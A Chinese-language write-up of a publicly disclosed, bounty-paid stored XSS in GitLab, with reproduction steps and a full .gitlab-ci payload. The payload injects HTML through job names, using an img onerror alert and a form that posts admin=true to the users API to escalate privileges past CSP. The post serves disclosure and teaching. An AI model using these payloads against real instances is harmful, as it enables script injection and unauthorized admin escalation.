最近GitLab在hackerone平台上公开披露了一处存储型XSS漏洞,该漏洞发现于今年的5月份,让我们来看看这个漏洞是如何被触发的。
漏洞复现:
复现步骤:
1、在现有项目或创建新项目中,添加包含以下内容的 .gitlab.ci 文件:
'1. XSS when no CSP<a class="fixed-top fixed-bottom text-hide gl-font-size-42 cursor-default" href=# data-disable-with="<img src=x onerror=alert(document.domain)>">':
stage: build
script: echo "hi"
'2. Admin escalation when having CSP<form action=/api/v4/users/5212593?_method=PUT&admin=true method=post><input type=submit class="fixed-top fixed-bottom text-hide cursor-default" style="font-size:10000px" value=Submit>':
stage: build
script: echo "hi"
trigger-xss:
stage: test
script: echo "hi"
dependencies:
- '1. XSS when no CSP<a class="fixed-top fixed-bottom text-hide gl-font-size-42 cursor-default" href=# data-disable-with="<img src=x onerror=alert(document.domain)>">'
- '2. Admin escalation when having CSP<form action=/api/v4/users/5212593?_method=PUT&admin=true method=post><input type=submit class="fixed-top fixed-bottom text-hide cursor-default" style="font-size:10000px" value=Submit>'
2、转到 CI/CD/Jobs 选项卡并等待 CI 作业完成
3、如果要在没有 CSP 保护的本地实例上进行测试,需要单击 detail of the job:
<a class="fixed-top fixed-bottom text-hide gl-font-size-42 cursor-default" href=# data-disable-with="<img src=x onerror=alert(document.domain)>">
然后单击右侧文字栏上的"回收站"按钮以删除作业日志和工件。
4、返回作业列表,单击Trigger-XSS 链接以查看此作业的详细信息,然后单击右侧文字栏上的重试按钮以重试该作业
5、此时会出现一条错误信息:此作业无法启动,因为它无法检索所需的工件,然后单击任意位置就会触发XSS弹窗警告⚠️
白帽子还特意录了一段复现视频:
最终白帽子获得了 GitLab 发放的$6,580赏金奖励。
这个漏洞的关键仍在于CSP Bypass,白帽子通过研究CSP Bypass,最终构造了能够成功绕过CSP的XSS Payload:
<a class="fixed-top fixed-bottom text-hide gl-font-size-42 cursor-default" href=# data-disable-with="<img src=x onerror=alert(document.domain)>">'
你学废了么?
漏洞信息原地址:https://hackerone.com/reports/1579645
====正文结束====